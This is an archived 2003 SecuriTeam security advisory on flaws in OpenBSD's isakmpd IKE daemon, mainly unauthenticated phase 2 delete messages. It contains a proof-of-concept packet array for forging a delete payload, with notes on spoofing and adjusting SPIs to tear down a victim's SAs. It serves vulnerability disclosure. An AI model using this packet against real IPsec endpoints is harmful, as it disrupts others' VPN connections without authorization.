

# [NEWS] Multiple Payload Handling Flaws in ISAKMPd

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-11/0023.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 11/04/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 4 Nov 2003 15:24:56 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

## Multiple Payload Handling Flaws in ISAKMPd

---

### SUMMARY

isakmpd's, OpenBSD's IKE daemon's, payload handling, especially the handling of delete payloads, contains numerous more or less severe flaws, which allow for unauthorized deletion of IKE and IPSec SAs.

### DETAILS

#### Affected Systems:

On 2003/09/02 2.1 and as a side effect 2.2 was fixed, i.e. isakmpd versions prior to 2003/09/02 include all issues listed below, newer versions "only" include the issues #3, #4, and #5

As isakmpd runs on a wide variety of platforms ({Open,Free,Net}BSD, MacOS X, Linux with FreeS/WAN's KLIPS, Linux 2.6) and is used in some appliances there might be some systems endangered due to these issues.

Other IKE daemons are known to have similar issues, but AFAIK they cannot be leveraged to launch effective attacks.

Issue #1:

## Securiteam: [NEWS] Multiple Payload Handling Flaws in ISAKMPd

isakmpd does not require encryption for messages in Quick Mode, although RFC 2409, section 5.5 says:

The information exchanged along with Quick Mode MUST be protected by the ISAKMP SA— i.e. all payloads except the ISAKMP header are encrypted.

This also applies to the last two (one for each, initiator and responder) messages of Main mode, informational exchanges, ... See RFC 2408, section 4.5 and RFC 2409, sections 5.1 to 5.4 and 5.7

Issue #2:

When acting as responder in Quick Mode exchanges, isakmpd does not apply payload encryption as long as the initiator itself also does not apply payload encryption, because isakmpd relies on the following lines of code in `message_rcv()` in `message.c`:

```
if (flags & ISAKMP_FLAGS_ENC)
    msg->exchange->flags |= EXCHANGE_FLAG_ENCRYPT;
```

Main Mode is not affected as isakmpd sets the encryption flag explicit in `{initiator,responder}_send_ID_AUTH` in `ike_main_mode.c`.

Issue #3:

isakmpd does only require hash payloads (which contain (H)MACs indeed) for messages directly relating to Quick Mode exchanges. "Phase 2" messages containing delete payloads ("delete messages"), for example, do not need to include a hash payload to be accepted by isakmpd, albeit RFC 2409, section 5.7 requires these "delete messages" to include a hash payload. This also applies to notify messages of type status in phase 2, although RFC 2407, section 4.6.3 prescribes their protection:

Notification Status Messages MUST be sent under the protection of an ISAKMP SA: [...]

NOTE: a Notify payload is fully protected only in Quick Mode, where the entire payload is included in the HASH(n) digest.

See `responder_rcv_*`() in `ike_quick_mode.c` and RFC 2409 for details.

In addition, if isakmpd receives "unexpected" hash payloads it does not verify them.

Issue #4:

When isakmpd receives a "delete message" in phase 2 ("delete messages" in phase 1 are ignored, see `isakmpd_responder()` in `isakmp_doi.c`) it does not check whether the origin of the "delete message" is the "owner" of the SA(s) to be deleted or in any other way authorized to delete the referenced SA(s). See `ipsec_handle_leftover_payload()` in `ipsec.c` for further details

## Securiteam: [NEWS] Multiple Payload Handling Flaws in ISAKMPd

NOTE: This behavior does NOT violate the RFCs, it is just a example of a bad local security policy. See RFC 2408, section 5.15.

Issue #5:

For compatibility with some Cisco IPsec implementations isakmpd accepts phase 2 "delete messages" for ISAKMP SAs. See ipsec\_delete\_spi\_list() in ipsec.c.

This might not be a security issue or even a bug depending on your point of view, but it can be leveraged together with the other issues.

Note: It is not required to take any action upon receipt of a "delete messages", but most IKE daemons do react by deleting the SA and so does isakmpd. RFC 2408, section 3.15:

NOTE: The Delete Payload is not a request for the responder to delete an SA, but an advisory from the initiator to the responder.

Solution:

Issue #1 and Issue #2 were fixed about 3 weeks after Thomas has reported the issues (see

<http://www.openbsd.org/cgi-bin/cvsweb/src/sbin/isakmpd/message.c.diff?r1=1.60&r2=1.61&f=h> <<http://www.openbsd.org/cgi-bin/cvsweb/src/sbin/isakmpd/message.c.diff?r1=1.60&r2=1.61&f=h>>). Issues #3, #4, and #5 are still unfixed, but there are a few (OpenBSD) developers claiming to be working on this issue (for nearly 3 months).

As a temporary solution, one could disable the reaction upon receipt of a "delete message".

Leveraging the Issues:

There are many ways to "take advantage" of the issues described above. In Thomas's opinion, the most severe thing to do is unauthorized IKE and/or IPsec SA deletion, because it is relatively easy to launch and has serious effects.

pre 2003/09/02

To delete an ISAKMP SA of your choice you only need to know the ISAKMP cookies and do some IP spoofing. If you want to delete an IPsec SA you need to know its SPI and whether it is for ESP or AH.

<http://thinknerd.de/~thomas/IPsec/delete-sa.c> gives a clue how a "delete message" should look like.

/\* Adjust CKY-I, CKY-R, Protocol-ID and SPI to fit your needs<sup>1</sup>. You might want

to change message length, payload length and # of SPIs to delete multiple

SPI at once ;-). Due to an interoperability issue with some Cisco implementations you can also delete ISAKMP-SA.

1 - SPI of the SA pointing away from the victim \*/

## Securiteam: [NEWS] Multiple Payload Handling Flaws in ISAKMPd

```
char packet[] = {
    0xf1, 0xc4, 0xd8, 0x95, 0xdc, 0xda, 0xb5, 0x66, /* CKY-I */
    0x82, 0x25, 0x74, 0x17, 0x7c, 0xe4, 0xef, 0xc3, /* CKY-R */
    0x0c, /* NP: DELETE*/
    0x10, /* V: 1.0 */
    0x05, /* XCHG_TYPE: INFO */
    0x00, /* Flags */
    0xfe, 0xed, 0x0a, 0xda, /* M-ID */
    0x00, 0x00, 0x00, 0x2c, /* Length: 0x28 + SPI
        Size * # of SPIs */

    0x00, /* NP: NONE */
    0x00, /* RESERVED */
    0x00, 0x10, /* Length: 0x06 + SPI
        Size * # of SPIs */
    0x00, 0x00, 0x00, 0x01, /* DOI: IPSEC */
    0x03, /* Protocol-ID */
    0x04, /* SPI Size */
    0x00, 0x01, /* # of SPIs */
    0x39, 0xa7, 0xc7, 0x3f /* SPI */
};
```

[..]

post 2003/09/02

As of 2003/09/02 it is much harder to exploit the issues, because you need to send an encrypted "delete message". Therefore, you need an ISAKMP SA with your victim. If you are a legitimate user or the like, you can try <http://thinknerd.de/~thomas/IPsec/isakmpd+.diff> on Linux 2.6.

### ADDITIONAL INFORMATION

The information has been provided by <mailto:thomas@thinknerd.de> Thomas Walpuski.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.